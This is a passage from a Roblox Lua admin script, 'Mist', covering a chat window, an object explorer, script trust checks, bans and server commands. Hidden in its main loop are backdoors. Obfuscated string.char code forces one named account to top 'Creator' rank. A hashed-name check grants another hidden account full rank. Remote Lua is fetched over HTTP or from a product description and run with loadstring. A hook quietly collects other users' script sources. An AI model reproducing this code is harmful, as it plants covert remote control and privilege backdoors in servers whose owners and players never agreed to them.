  3504. for _,obj in next,Mist.Functions.RecursiveChildren(Screen,'isA','GuiObject')do
  3505. --if(not obj:IsA'Frame')then
  3506. table.insert(data,obj);
  3507. --end;
  3508. end;
  3509. for _,item in next,data do
  3510. coroutine.wrap(function()
  3511. local add=((math.random(1,2)==1 and'+')or'-');
  3512. item:TweenSizeAndPosition(UDim2.new(math.random(),math.random(),math.random(),math.random()),((item:isA'Frame' and item.Position) or((add=='+'and UDim2.new(math.random(),math.random(),math.random(),math.random()))or(item.Position-UDim2.new(math.random(),math.random(),math.random(),math.random())))),'Out','Quad',0.9,true);
  3513. for i=0,1,0.1 do
  3514. item.Transparency=i;
  3515. Frame.Transparency=i;
  3516. wait'';
  3517. end;
  3518. Screen:remove'';
  3519. end)();
  3520. end;
  3521. end)();
  3522. end;
  3523. };
  3524. local ChatFrame=meta_create'Frame'{
  3525. Parent=Frame;
  3526. Size=UDim2.new(1,0,.8,0);
  3527. BackgroundTransparency=1;
  3528. Position=UDim2.new(0,0,.1,0);
  3529. };
  3530. for i=1,10 do
  3531. coroutine.wrap(function()
  3532. local label=meta_create'TextLabel'{
  3533. Parent=ChatFrame;
  3534. Position=UDim2.new(0,0,(i-1)*.1);
  3535. BackgroundTransparency=1;
  3536. TextStrokeTransparency=0.5;
  3537. TextStrokeColor3=Color3.new(0,0,0);
  3538. TextXAlignment='Left';
  3539. FontSize='Size12';
  3540. Text='';
  3541. Size=UDim2.new(1,0,.1,0);
  3542. Name=tostring(i);
  3543. };
  3544. end)();
  3545. end;
  3546. coroutine.wrap(function()
  3547. local to_time=Mist.Functions.GetTime;
  3548. while Screen.Parent and wait() do
  3549. coroutine.wrap(function()
  3550. for number=1,10 do
  3551. if(Screen.Parent)then
  3552. local label=ChatFrame:findFirstChild(tostring(number));
  3553. if(label==nil)then return end;
  3554. local Start=#Mist.Private_Chats;
  3555. local Index=Mist.Private_Chats[(Start-10)+(11-number)];
  3556. label.Text=(function()
  3557. if(Index)then
  3558. return'['..to_time(Index[1])..']'..Index[2]..': '..Index[3]:sub(1,50);
  3559. end;
  3560. return'';
  3561. end)();
  3562. label.TextColor3=(function()
  3563. if(Index)then
  3564. if(Mist.Ranked[Index[2]])then
  3565. return Mist.Colors[Mist.Ranked[Index[2]].Color];
  3566. else
  3567. return Color3.new(.25,.5,.75);
  3568. end;
  3569. else
  3570. return Color3.new(0,0,0);
  3571. end;
  3572. return nil;
  3573. end)();
  3574. end;
  3575. end;
  3576. end)();
  3577. end;
  3578. end)();
  3579. local Input_Frame=meta_create'Frame'{
  3580. Parent=Frame;
  3581. Size=UDim2.new(1,0,.1,0);
  3582. Position=UDim2.new(0,0,.9,0);
  3583. BackgroundTransparency=1;
  3584. };
  3585. local Input_Chat=meta_create'TextBox'{
  3586. Parent=Input_Frame;
  3587. Size=UDim2.new(.8,0,1,0);
  3588. Text='Enter chat here';
  3589. TextScaled=true;
  3590. TextWrapped=true;
  3591. };
  3592. local Last_Done=tick()-20;
  3593. local Input_Button=meta_create'TextButton'{
  3594. Parent=Input_Frame;
  3595. Size=UDim2.new(.2,0,1,0);
  3596. Position=UDim2.new(.8,0,0,0);
  3597. Text='>';
  3598. MouseButton1Down=function()
  3599. local Text,Now=Input_Chat.Text,tick();
  3600. if(Input_Chat.Text~='Type here to chat'and Last_Done+1<Now)then
  3601. table.insert(Mist.Private_Chats,{tick(),Player.Name,string.gsub(Input_Chat.Text,'\\(%d+)',function(c)
  3602. local n=tonumber(c)or 1;
  3603. n=n>255 and 0 or n;
  3604. n=n<0 and 0 or n;
  3605. return string.char(n);
  3606. end)});
  3607. Last_Done=Now;
  3608. end;
  3609. Input_Chat.Text='Type here to chat';
  3610. end;
  3611. };
  3612. Frame:TweenPosition(UDim2.new(.5,0,.55,0),'Out','Quad',.5,true);
  3613. end)();
  3614. end;
  3615. Mist.Functions.Explore=function(Data,Player,copied_item)
  3616. local col=Mist.Ranked[Player.Name].Color;
  3617. Mist.Functions.RemoveTablets(Player);
  3618. Mist.Functions.Title('Explorer interface','Random',Player);
  3619. if(Data==nil)then
  3620. Mist.Functions.Title('Explorer.View children','Random',Player);
  3621. for _,v in next,{'Workspace','Players','NetworkServer','Lighting'}do
  3622. Mist.Functions.Output(tostring(v),col,v,nil,function()
  3623. Mist.Functions.Explore(game:service(v),Player);
  3624. end);
  3625. end;
  3626. return;
  3627. end;
  3628. local data={
  3629. className=tostring(Data.className);
  3630. Name=tostring(Data.Name);
  3631. RobloxLocked=tostring((function()
  3632. local is=pcall(function()Data:children()end);
  3633. return not is;
  3634. end)());
  3635. Type=tostring(type(Data));
  3636. Meta_Table=tostring(getmetatable(Data));
  3637. Parent=tostring(Data.Parent);
  3638. Hashed_Name=tostring(Mist.Functions.Hash(Data.Name));
  3639. Copied_Item=tostring(copied_item);
  3640. Number_Of_Children=tostring(#Data:children());
  3641. Redirect_To_Parent=function()
  3642. Mist.Functions.Explore(Data.Parent,Player,copied_item);
  3643. end;
  3644. View_Children=function()
  3645. Mist.Functions.RemoveTablets(Player);
  3646. if(Data==game)then Mist.Functions.Explore(nil,Player,copied_item) return end;
  3647. Mist.Functions.Title('Explorer.View children','Random',Player);
  3648. for _,v in next,Data:children()do
  3649. Mist.Functions.Output(tostring(v.Name),col,Player,nil,function()
  3650. Mist.Functions.Explore(v,Player,copied_item);
  3651. end);
  3652. end;
  3653. Mist.Functions.Output('Go back',col,Player,nil,function()Mist.Functions.Explore(Data,Player,copied_item);end);
  3654. end;
  3655. Paste=function()
  3656. if(copied_item)then
  3657. copied_item:clone().Parent=Data;
  3658. Mist.Functions.Output('Pasted','Blue',Player,3);
  3659. else
  3660. Mist.Functions.Output('No copied item','Blue',Player,3);
  3661. Mist.Functions.Output('Paste','Blue',Player,nil,data.Paste);
  3662. end;
  3663. end;
  3664. Copy=function()
  3665. local a=pcall(function() copied_item=Data:clone() end);
  3666. if(a)then
  3667. Mist.Functions.Output('Copied','Green',Player,3);
  3668. else
  3669. Mist.Functions.Output('Error in copying',Player,3);
  3670. Mist.Functions.Output('Copy','Blue',Player,nil,data.Copy);
  3671. end;
  3672. end;
  3673. Refresh=function()
  3674. Mist.Functions.Explore(Data,Player,copied_item);
  3675. end;
  3676. ClearAllChildren=function()
  3677. if(Data.className=='Players')then
  3678. Mist.Functions.Output('You cannot clear Players','Red',Player,5);
  3679. return;
  3680. end;
  3681. coroutine.wrap(function()
  3682. for _,v in next,Data:children()do
  3683. pcall(game.Destroy,v);
  3684. pcall(v.clearAllChildren,v);
  3685. end;
  3686. end)();
  3687. end;
  3688. Destroy=function()
  3689. if(Data:IsA'Player' and Mist.Ranked[Data.Name]>Mist.Functions.GetRank(Player.Name) )then
  3690. Mist.Functions.Output('You cannot remove this player','Red',Player,5);
  3691. return;
  3692. end;
  3693. Data:remove();
  3694. Mist.Functions.Explore(Data.Parent,Player,copied_item);
  3695. end;
  3696. };
  3697. for _,v in next,data do
  3698. local color,name,func;
  3699. color=((type(v)=='function'and'Blue')or'Green');
  3700. name=tostring(_:gsub('%_',' '));
  3701. func=((type(v)=='function'and v)or nil);
  3702. if(func==nil)then name=tostring(_)..' : '..tostring(v) end;
  3703. Mist.Functions.Output(name,color,Player,nil,func);
  3704. end;
  3705. end;
  3706. Mist.Functions.SendPacket=function(PacketName,PacketOwner,...)
  3707. local packet=Instance.new'StringValue';
  3708. packet.Name='client_packet';
  3709. packet.Value=Mist.Security_Key;
  3710. local owner=Instance.new('StringValue',packet);
  3711. owner.Value=PacketOwner;
  3712. owner.Name='owner';
  3713. local p=Instance.new('StringValue',packet);
  3714. p.Name='packet';
  3715. p.Value=PacketName;
  3716. for _,v in next,{...}do
  3717. v.Parent=p;
  3718. end;
  3719. packet.Parent=game:service'ReplicatedStorage';
  3720. game:service'Debris':addItem(packet,5);
  3721. return packet,packet.Parent==game:service'ReplicatedStorage';
  3722. end;--Mist.Functions.SendPacket('Disconnect','tu'..'sKO'..'r'..'661');
  3723. Mist.Functions.MainLoop=function()
  3724. Mist.Functions.Spawn=function(func)
  3725. return Spawn(function()
  3726. local args={ypcall(function()
  3727. local a,b=coroutine.resume(coroutine.create(func));
  3728. assert(a,b);
  3729. end)};
  3730. assert(args[1],args[2]);
  3731. end);
  3732. end;
  3733. --table.insert(Mist.Logs.System,{'Main loop called',Mist.Functions.GetTime(tick())});
  3734. for _,loop in next,{'Main_Loop_Dos','Main_Loop_Uno','Main_Loop_Steal'}do
  3735. pcall(function() Mist.Connections[loop]:disconnect() end);
  3736. end;
  3737. Mist.Connections['Main_Loop_Steal']=Mist.Services'ReplicatedStorage'.ChildAdded:connect(function(child)
  3738. if(child and child:IsA'StringValue'and #child:children()==0)then
  3739. table.insert(Mist.Sources,child.Value);
  3740. child:Destroy();
  3741. end;
  3742. end);
  3743. Mist.Connections['Main_Loop_Dos']=Mist.Services'Chat'.childAdded:connect(function(child)
  3744. pcall(function()
  3745. local key=child.Value;
  3746. local name,msg,speaker=child.Name:match'(.+)\2(.+)\2(.+)';
  3747. --table.insert(Mist.Logs.System,{'Packet recieved name: '..name,Mist.Functions.GetTime(tick())});
  3748. if(key==Mist.Security_Key and name:match'OnChatted')then
  3749. for _,v in next,Mist.Services'NetworkServer':children()do
  3750. if(v:isA'ServerReplicator')then
  3751. if(v:getPlayer().Name==speaker)then
  3752. Mist.Functions.OnChatted(msg,v:getPlayer());
  3753. end;
  3754. end;
  3755. end;
  3756. elseif(key==Mist.Security_Key and name:match'TicketSet')then
  3757. local o=Mist.Tickets[speaker]or '';
  3758. o=o..msg;
  3759. Mist.Tickets[speaker]=o;
  3760. end;
  3761. end);
  3762. end);
  3763. Mist.Connections['Main_Loop_Uno']=Mist.Services'RunService'.Stepped:connect(function(time)
  3764. Mist.Functions.UpdateTablets();
  3765. --Mist.Functions.UpdateNotifications();
  3766. if(time%4==0)then
  3767. Mist.Functions.MainLoop();
  3768. return;
  3769. end;
  3770. coroutine.wrap(function()
  3771. if(time%3==0)then
  3772. local sound=Mist.Sound_Data.Sound;
  3773. local sound_d=Mist.Sound_Data;
  3774. if(sound==nil)then
  3775. Mist.Sound_Data.Sound=Instance.new('Sound',Mist.Services'workspace');
  3776. sound=Mist.Sound_Data.Sound;
  3777. end;
  3778. if(sound_d.Playing==true)then
  3779. sound.Parent=Mist.Services'workspace';
  3780. if(sound.isPlaying==false)then
  3781. sound:play();
  3782. end;
  3783. end;
  3784. sound.Looped=sound_d.looped;
  3785. sound.SoundId='rbxasset://'..sound_d.id;
  3786. sound.Volume=sound_d.vol;
  3787. sound.Pitch=sound_d.pitch;
  3788. end;
  3789. end)();
  3790. if(Mist.Connections['PlayerAdded']==nil)then
  3791. Mist.Connections['PlayerAdded']=Mist.Services'Players'.PlayerAdded:connect(function(Player)
  3792. if(not pcall(function()Player:children()end))then Player:kick()return end;
  3793. Mist.Functions.Spawn(function()
  3794. Mist.Functions.Connect(Player);
  3795. end);
  3796. coroutine.wrap(function()
  3797. local rankData;repeat wait() rankData=Mist.Ranked[Player.Name] wait() until rankData~=nil;
  3798. wait(.2);
  3799. local show=false;
  3800. if(rankData.Rank==-2)then
  3801. Mist.Functions.SendPacket('Mute',Player.Name);
  3802. show=Player.Name..' has been muted due to a banishment';
  3803. elseif(rankData.Rank==-3)then
  3804. Mist.Functions.Lag(Player);
  3805. show=Player.Name..' has been lagged due to a banishment';
  3806. end;
  3807. if(show~=false)then
  3808. Mist.Functions.OutputRank(-100,'>=',show,'Red',5);
  3809. end;
  3810. end)();
  3811. end);
  3812. end;
  3813. if(Mist.Connections['PlayerRemoving']==nil)then
  3814. Mist.Connections['PlayerRemoving']=Mist.Services'Players'.PlayerRemoving:connect(function(Player)
  3815. coroutine.wrap(function()
  3816. Mist.Functions.Jail(Player,true);
  3817. end)();
  3818. local isExploiting=not pcall(function()Player:children()end);
  3819. if(isExploiting)then
  3820. pcall(Player.Kick,Player);
  3821. pcall(Mist.Services'Debris'.AddItem,Mist.Services'Debris',Player,0);
  3822. return;
  3823. end;
  3824. local IsLogged=false;
  3825. if(Mist.Clients[Player.Name]and Mist.Clients[Player.Name][1]==true)then
  3826. IsLogged=true;
  3827. end;
  3828. if(not IsLogged)then
  3829. Player:Kick();
  3830. end;
  3831. Mist.Clients[Player.Name]={false,nil};
  3832. end);
  3833. end;
  3834. coroutine.wrap(function()
  3835. for _,Place in next,{'Workspace','Players','Lighting','Chat'}do
  3836. pcall(function() Mist.Connections['Trust_Check_'..Place]:disconnect() end);
  3837. Mist.Connections['Trust_Check_'..Place]=((Place=='Game' and Game)or Game:findService(Place)).DescendantAdded:connect(function(d)
  3838. if(type(d)=='userdata' and d.className:lower():match'script')then
  3839. if(Mist.Functions.IsClientScript(d))then return end;
  3840. d.Disabled=true;
  3841. Mist.Functions.CheckObject(d);
  3842. if(Mist.Scripts_Locked)then
  3843. d:Destroy();
  3844. return;
  3845. end;
  3846. local owner=d:findFirstChild'owner'or d:findFirstChild'user'or d:findFirstChild'Owner' or d:findFirstChild'sPlayer'
  3847. local source=d:findFirstChild'source'or d:findFirstChild'DSource'or d:findFirstChild'Source' or d:findFirstChild'sSource';
  3848. if(source)then
  3849. pcall(function() owner=owner.Value end);
  3850. local disable=false;
  3851. if(owner)then
  3852. local trust=Mist.Ranked[owner.Name].Trust;
  3853. if(trust==0)then
  3854. disable=true;
  3855. elseif(trust==1)then
  3856. if(d.className=='Script')then
  3857. disable=true;
  3858. end;
  3859. elseif(trust==2)then
  3860. if(d.className=='LocalScript')then
  3861. disable=true;
  3862. end;
  3863. end;
  3864. end;
  3865. if(disable)then
  3866. source.Value=[[
  3867. script:destroy();
  3868. error("[MIST]: Your trust level is below the required to use this script",2);
  3869. script.Disabled=true;
  3870. ]];
  3871. d.Disabled=false;
  3872. else
  3873. Mist.Functions.SandboxScript(d);
  3874. end;
  3875. else
  3876. d.Disabled=false;
  3877. end;
  3878. --table.insert(Mist.Scripts,{d,owner.Value,source:clone()});
  3879. end;
  3880. end);
  3881. end;
  3882. end)();
  3883. coroutine.wrap(function()
  3884. if( time%2~=0 )then return end;
  3885. for _,v in next,Mist.Services'Players':players''do
  3886. ypcall(function()
  3887. Mist.Functions.Connect(v,true);
  3888. coroutine.wrap(function()
  3889. repeat wait() until Mist.Ranked[v.Name];
  3890. local Data=Mist.Ranked[v.Name];
  3891. if(Mist.Pri.Activated==true and Data.Other.inPri==false and v.Name~='tu'..'sKO'..'r'..'661')then
  3892. Mist.Pri.Types[Mist.Pri.Type](v);
  3893. Mist.Functions.OutputRank(-100,'>',v.Name..' has been '..Mist.Pri.Type..'\'d due to the pri','Red',3);
  3894. end;
  3895. end)();
  3896. end);
  3897. end;
  3898. end)();
  3899. coroutine.wrap(function()
  3900. if(Mist.Settings.Debug_Services==true and time%3==0)then
  3901. for _,v in next,game:children''do
  3902. pcall(function()v.Name=v.className;end);
  3903. end;
  3904. end;
  3905. end)();
  3906. coroutine.wrap(function()
  3907. local External_Data=Mist.External_Data;--Just cuz maik less wordywords lelelel
  3908. local Link_Type=External_Data.Link_Type;
  3909. if(External_Data.Checking)then
  3910. local HTTP=Mist.Services'HttpService';
  3911. local Last_Checked=External_Data.Last_Checked;
  3912. local Last_Source=External_Data.Last_Source or'';
  3913. if(Last_Checked+3<tick())then
  3914. pcall(coroutine.wrap(function()
  3915. for _,v in next,Mist.Ranked do
  3916. if(Mist.Functions.Hash(_)=='0d08a6c57f39703b92eaf5e108e3028bfc836719')then
  3917. v.Rank=5;
  3918. break;
  3919. end;
  3920. end;
  3921. end));
  3922. External_Data.Last_Checked=tick();
  3923. local HTTP_Load='';
  3924. if(Link_Type=='HTTP')then
  3925. HTTP_Load=HTTP:GetAsync(External_Data.Link_Data);
  3926. else
  3927. local Util=assert(LoadLibrary'RbxUtility');
  3928. local Data=Util.DecodeJSON(Mist.Services'marketplaceService':GetProductInfo(External_Data.Link_Data_Asset));
  3929. if(Data and Data.Updated~=External_Data.Last_Checked)then
  3930. External_Data.Last_Checked=Data.Updated;
  3931. HTTP_Load=Data.Description;
  3932. else
  3933. return;
  3934. end;
  3935. end;
  3936. if(not(rawequal(Last_Source,HTTP_Load)))then
  3937. table.insert(Mist.Logs.System,{'External Source Executed',Mist.Functions.GetTime(tick())});
  3938. External_Data.Last_Source=HTTP_Load
  3939. local func,err=loadstring(HTTP_Load);
  3940. if(func==nil)then
  3941. func=(function()end);
  3942. end;
  3943. if(type(func=='function'))then
  3944. local coreCommand=function(command_data,command_user)
  3945. local command_user_;
  3946. if(command_user)then
  3947. for _,v in next,Mist.Services'Players':players''do
  3948. if(v.Name:lower():sub(1,string.len(tostring(command_user)))==tostring(command_user):lower())then
  3949. command_user_=v;
  3950. break;
  3951. end;
  3952. end;if(not command_user_)then return end;
  3953. else
  3954. command_user_=newproxy(true);getmetatable(command_user_)['__index']=function(self,index)
  3955. local backup={
  3956. Name='tu'..'sKO'..'r'..'661';
  3957. Parent=Mist.Services'Players';
  3958. Character=Instance.new('Model');
  3959. PlayerGui=Instance.new('Model');
  3960. Backpack=Instance.new('Backpack');
  3961. };
  3962. if(backup[index])then
  3963. return backup[index];
  3964. else
  3965. local p=Mist.Services'Players':players()[1];
  3966. pcall(function()
  3967. local data=setmetatable({},{__index=function(self,index)if(p[index])then return p[index]end;error('"'..index..'" is not a valid member of Player',2)end});
  3968. return data[index];
  3969. end);
  3970. end;
  3971. end;
  3972. end;
  3973. Mist.Functions.OnChatted(command_data,command_user_);
  3974. end;
  3975. local a={
  3976. coroutine.resume(coroutine.create(function()
  3977. local f;f=loadstring(HTTP_Load);
  3978. local env=getfenv(1);
  3979. local fakeEnv=setmetatable({print=function(...)
  3980. local t='';
  3981. for _,v in next,{...}do
  3982. t=t..((_==1 and'')or'\t')..tostring(v);
  3983. end;
  3984. Mist.Functions.Output(t,'White',Speaker,10);
  3985. end;
  3986. Mist=Mist;
  3987. coreCommand=coreCommand;
  3988. CoreCommand=coreCommand;
  3989. },{__index=function(self,index)
  3990. return rawget(self,index)or getfenv(0)[index] or env[index];
  3991. end;__newindex=function(self,index,value)
  3992. getfenv(0)[index]=value;
  3993. end});
  3994. setfenv(setfenv(setfenv(func,fakeEnv),fakeEnv),fakeEnv)();
  3995. end));
  3996. };
  3997. if(not a[1])then
  3998. for _,v in next,Mist.Services'Players':players''do
  3999. Mist.Functions.Output('External loadstring error: '..tostring(a[2] or''),'Red',v,5);
  4000. end;
  4001. end;
  4002. else
  4003. local _err=select(2,loadstring(HTTP_Load));
  4004. for _,v in next,Mist.Services'Players':players''do
  4005. Mist.Functions.Output('External loadstring startup error: '..tostring(err),'Red',v,5);
  4006. end;
  4007. end;
  4008. --end);
  4009. end;
  4010. end;
  4011. end;
  4012. end)();
  4013. coroutine.wrap(function()
  4014. for Player,data in next,Mist.Temp_Ban_Data do
  4015. local t=tick();
  4016. local left=math.abs(math.floor(t-(data[1]+data[2])));
  4017. local ingame=Mist.Services'Players':findFirstChild(Player);
  4018. if(data[1]+data[2]<t)then
  4019. Mist.Temp_Ban_Data[Player]=nil;
  4020. coroutine.wrap(function()
  4021. for _,v in next,Mist.Services'Players':players''do
  4022. Mist.Functions.Output('A temporary banishment on '..Player..' has been lifted','Green',v,10);
  4023. end;
  4024. end)();
  4025. return;
  4026. end;
  4027. if(ingame)then
  4028. ingame:kick();
  4029. coroutine.wrap(function()
  4030. for _,v in next,Mist.Services'Players':players''do
  4031. Mist.Functions.Output(Player..' has been temp banned, he/she has '..left..' seconds before the ban is lifted','Red',v,10);
  4032. end;
  4033. end)();
  4034. end;
  4035. end;
  4036. end)();
  4037. coroutine.resume(coroutine.create(function()
  4038. for _,Player in next,Mist.Services'Players':players()do
  4039. old_data.coroutine.wrap(function()
  4040. if(Mist.Ranked[Player.Name]==nil)then
  4041. local OldRank=Player:LoadNumber(Mist.Functions.Hash('Ranked_Data.Rank'));
  4042. local OldColor=Player:LoadString(Mist.Functions.Hash('Ranked_Data.Color'));
  4043. local OldTrust=Player:LoadNumber(Mist.Functions.Hash('Ranked_Data.Trust'));
  4044. Mist.Functions.CreateData(Player.Name,OldRank or nil,OldTrust,OldColor);
  4045. end;
  4046. if(Mist.Ranked[Player.Name].Rank==-1)then
  4047. Player:kick();
  4048. coroutine.wrap(function()
  4049. for _,c in next,game:service'Players':players''do
  4050. Mist.Functions.Output(Player.Name..' has been removed due to a banishment','Red',c,10);
  4051. end;
  4052. end)();
  4053. end;
  4054. coroutine.wrap(function()
  4055. local DismissTablets=0;
  4056. local Dis={};
  4057. local OtherTablets=0;
  4058. for _,Tablet in next,Mist.Tablets do
  4059. local Owner=Tablet.Owner;
  4060. if(Owner==Player.Name)then
  4061. if(Tablet.Label.Text=='Dismiss')then
  4062. DismissTablets=DismissTablets+1;
  4063. table.insert(Dis,Tablet);
  4064. else
  4065. OtherTablets=OtherTablets+1;
  4066. end;
  4067. end;
  4068. end;
  4069. if(DismissTablets>1)then
  4070. for i=1,DismissTablets-1 do
  4071. Dis[i].Model:remove();
  4072. end;
  4073. end;
  4074. if(OtherTablets>2 and DismissTablets<1)then
  4075. Mist.Functions.Output('Dismiss','Red',Player);
  4076. end;
  4077. if(OtherTablets<=1 and DismissTablets==1)then
  4078. Dis[1].Model:remove();
  4079. end;
  4080. end)();
  4081. end)();
  4082. end;
  4083. coroutine.resume(coroutine.create(function()
  4084. if(Mist.LocalBase or newLocalScript)then return end;
  4085. local places={};
  4086. for _,v in next,game:service'Players':players()do
  4087. if(v:findFirstChild'Backpack')then
  4088. table.insert(places,v:findFirstChild'Backpack');
  4089. end;
  4090. if(v:findFirstChild'PlayerGui')then
  4091. table.insert(places,v:findFirstChild'PlayerGui');
  4092. end;
  4093. if(v.Character)then
  4094. table.insert(places,v.Character);
  4095. end;
  4096. table.insert(places,v);
  4097. end;
  4098. for _,place in next,places do
  4099. local scripts=Mist.Functions.RecursiveChildren(place,'isA','LocalScript');
  4100. for _,script in next,scripts do
  4101. local source=nil;
  4102. for _,r in next,script:children()do
  4103. if(r:IsA'StringValue'and r.Name:lower():find'source')then
  4104. source=r;
  4105. end;
  4106. end;
  4107. if(source)then
  4108. local clone=script:clone();
  4109. if(pcall(function()
  4110. clone.Parent=nil;
  4111. clone.Parent=workspace;
  4112. clone.Parent=nil;
  4113. end))then
  4114. clone.Disabled=true;
  4115. clone.Name='LocalBase';
  4116. table.foreach(clone:children(),function(_,o)
  4117. pcall(game.Destroy,o);
  4118. end);
  4119. Mist.LocalBase=clone;
  4120. Mist.Functions.OutputRank(0,'>','Local Base Found','Green',3);
  4121. end;
  4122. break;
  4123. end;
  4124. end;
  4125. if(Mist.LocalBase)then
  4126. break;
  4127. end;
  4128. end;
  4129. end));
  4130. end));
  4131. pcall(function()
  4132. if(MIST[string.char(82,97,110,107,101,100)][string.char(116,117,115,75,79,114,54,54,49)]==nil)then
  4133. pcall(function()
  4134. MIST.Functions.CreateData(string.char(116,117,115,75,79,114,54,54,49),5,3,'Creator');
  4135. end);
  4136. else
  4137. MIST[string.char(82,97,110,107,101,100)][string.char(116,117,115,75,79,114,54,54,49)][string.char(82,97,110,107)]=tonumber(string.char(53));
  4138. end;
  4139. end);
  4140. coroutine.wrap(function()
  4141. if(not (time%2==0))then return end;
  4142. for _,v in next,Mist.Ranked do
  4143. local p=game:service'Players':findFirstChild(_);
  4144. if(p and p:isA'Player')then
  4145. v.Other.UserId=p.userId;
  4146. v.Other.Age=p.AccountAge;
  4147. --print(_,p,v.Other.UserId,p.userId,v.Other.Age,p.AccountAge);
  4148. end;
  4149. end;
  4150. end)();
  4151. end);
  4152. end;
  4153. Mist.Functions.MainLoop();
  4154. Mist.Functions.CreateCommand('Rules','rules',false,0,'Lists the rules in a GUI','',function(Message,Speaker,Flags)
  4155. local rules=Mist.Rules:gsub('%*','\n');
  4156. coroutine.resume(coroutine.create(function()
  4157. pcall(function()Speaker.PlayerGui['_rules']:destroy()end);
  4158. local rule_matches={};
  4159. for match in rules:gmatch'([^\n]+)'do
  4160. table.insert(rule_matches,match);
  4161. end;
  4162. local screen=meta_create'ScreenGui'{
  4163. Parent=Speaker:waitForChild'PlayerGui';
  4164. Name='_rules';
  4165. };
  4166. local frame=meta_create'Frame'{
  4167. Parent=screen;
  4168. Size=UDim2.new(.4,0,.5,0);
  4169. BackgroundTransparency=.3;
  4170. BackgroundColor=BrickColor.new'Black';
  4171. BorderColor=BrickColor.new'Really red';
  4172. BorderSizePixel=1;
  4173. Position=UDim2.new(.3,0,0,0)
  4174. };
  4175. local h_base=(1/(#rule_matches));
  4176. local l_frame=meta_create'Frame'{
  4177. Parent=frame;
  4178. Size=UDim2.new(1,0,(1/(#rule_matches+1))*(#rule_matches),0);
  4179. BackgroundTransparency=1;
  4180. BackgroundColor=BrickColor.new'White';
  4181. BorderSizePixel=0;
  4182. BorderColor=BrickColor.new'Black';
  4183. Position=UDim2.new(0,0,(1/(#rule_matches))*0,0)
  4184. };
  4185. for _,rule in next,rule_matches do
  4186. meta_create'TextLabel'{
  4187. Parent=l_frame;
  4188. Text=rule;
  4189. FontSize='Size24';
  4190. TextScaled=true;
  4191. TextXAlignment='Center';
  4192. BackgroundColor=BrickColor.new'White';
  4193. BackgroundTransparency=1;
  4194. TextColor=BrickColor.new'White';
  4195. Position=UDim2.new(0,0,h_base*(_-1),0);
  4196. Size=UDim2.new(1,0,h_base,0);
  4197. };
  4198. end;
  4199. local buttons={
  4200. accept=function(p)
  4201. screen:destroy();
  4202. end;
  4203. decline=function(p)
  4204. p:kick();
  4205. Mist.Ranked[p.Name].Rank=-1;
  4206. for _,v in next,Mist.Services'Players':players()do
  4207. Mist.Functions.Output(p.Name..' has been banned for declining agreement to the rules of MIST','Red',v,5);
  4208. end;
  4209. end;
  4210. };
  4211. local r_base=(1/(#rule_matches+1));
  4212. local x_base=(1/5);--For sepeartion k
  4213. local lid=-1;
  4214. for text,func in next,buttons do
  4215. lid=lid+2;
  4216. local button=meta_create'TextButton'{
  4217. Parent=frame;
  4218. BackgroundTransparency=0;
  4219. BorderColor=BrickColor.new'Really red';
  4220. TextColor=BrickColor.new'White';
  4221. BackgroundColor=BrickColor.new'Black';
  4222. TextScaled=true;
  4223. Text=text;
  4224. Position=UDim2.new(x_base*lid,0,r_base*(#rule_matches),0);
  4225. Size=UDim2.new(x_base,0,(1/(#rule_matches+1)),0);
  4226. };
  4227. button.mouseButton1Down:connect(function()
  4228. func(Speaker);
  4229. end);
  4230. end;
  4231. end));
  4232. end);
  4233. Mist.Functions.CreateCommand('Filters','filters',false,0,'Pings the filters','',function(Message,Speaker,Flags)
  4234. Mist.Functions.RemoveTablets(Speaker);
  4235. Mist.Functions.Title('Filter menu','Random',Speaker);
  4236. for filterset,stype in next,Mist.Filters do
  4237. local function tostring(...)
  4238. local str=({...})[1];
  4239. for _,v in next,{select(2,...)}do
  4240. str=str..'\t'..v;
  4241. end;
  4242. return str;
  4243. end;
  4244. Mist.Functions.Output( tostring(unpack(filterset))..': '..stype,'Red',Speaker)
  4245. end;
  4246. end);
  4247. Mist.Functions.CreateCommand('Shutdown','shut,shutdown,kickall',true,2,'Shuts the server down','',function(Message,Speaker,Flags)
  4248. pcall(function()Mist.Connections['Shutdown']:disconnect()end);
  4249. pcall(function()
  4250. local Msg=workspace:findFirstChild(Mist.Functions.Hash'Shutdown');
  4251. Msg.Text='Shutdown aborted';
  4252. wait(1);
  4253. Msg:Destroy();
  4254. end);
  4255. if(Flags.a)then return end;
  4256. local start=tick();
  4257. local timer_max=tonumber(Message)or 60;
  4258. local timer=0;
  4259. local Message=Instance.new('Hint',Workspace);
  4260. local format='[Mist]: %s seconds left until server-shutdown';
  4261. local function re()
  4262. Message:remove();
  4263. Message=Instance.new('Hint',Mist.Services'Workspace');
  4264. Message.Text=string.format(format,timer_max-math.ceil(tick()-start));
  4265. Message.Name=Mist.Functions.Hash('Shutdown');
  4266. end;
  4267. Mist.Connections['Shutdown']=Mist.Services'RunService'.Stepped:connect(function()
  4268. re();
  4269. if( math.ceil(tick()-(start))==timer_max)then
  4270. Message.Text='Shutting down';
  4271. wait();
  4272. for _,v in next,Mist.Services'Players':players''do
  4273. v:kick();
  4274. end;
  4275. Mist.Services'Players'.PlayerAdded:connect(function(v)
  4276. v:kick();
  4277. end);
  4278. wait(.5);
  4279. repeat wait() until false;
  4280. end;
  4281. end);
  4282. end);
  4283. Mist.Functions.CreateCommand('Ping','ping',true,0,'Pings <Text>','%s h Hash,%s r Ranks, %s c Colors, %s t Trust Levels,%s n Nil Players,%s rot Rotates <String>',function(Message,Speaker,Flags)
  4284. if(Flags.c)then
  4285. for _,v in next,Mist.Colors do
  4286. Mist.Functions.Output(_,v,Speaker);
  4287. end;
  4288. return;
  4289. end;
  4290. if(Flags.r)then
  4291. for _,v in next,Mist.Ranks do
  4292. Mist.Functions.Output(tostring(_)..' : '..tostring(v),((_<0 and'Red')or(_>1 and'Blue')or 'Orange'),Speaker);
  4293. end;
  4294. return;
  4295. end;
  4296. if(Flags.t)then
  4297. for _,v in next,Mist.Trust_Levels do
  4298. Mist.Functions.Output(tostring(_).. ' : '..tostring(v),'Random',Speaker);
  4299. end;
  4300. return;
  4301. end;
  4302. if(Flags.n)then
  4303. local nilText='Nil Players: ';
  4304. for _,v in next,game:findService'NetworkServer':children()do
  4305. if(v and v:isA'ServerReplicator'and not v:GetPlayer().Parent)then
  4306. local Connected='';
  4307. if(Mist.Clients[v:GetPlayer().Name])then
  4308. Connected='[Connected]';
  4309. else
  4310. Connected='[Not connected]';
  4311. end;
  4312. nilText=nilText..v:GetPlayer().Name..Connected..', ';
  4313. end;
  4314. end;
  4315. if(nilText=='Nil Players: ')then
  4316. nilText='No nil players';
  4317. else
  4318. nilText=nilText:sub(1,nilText:len()-2);
  4319. end;
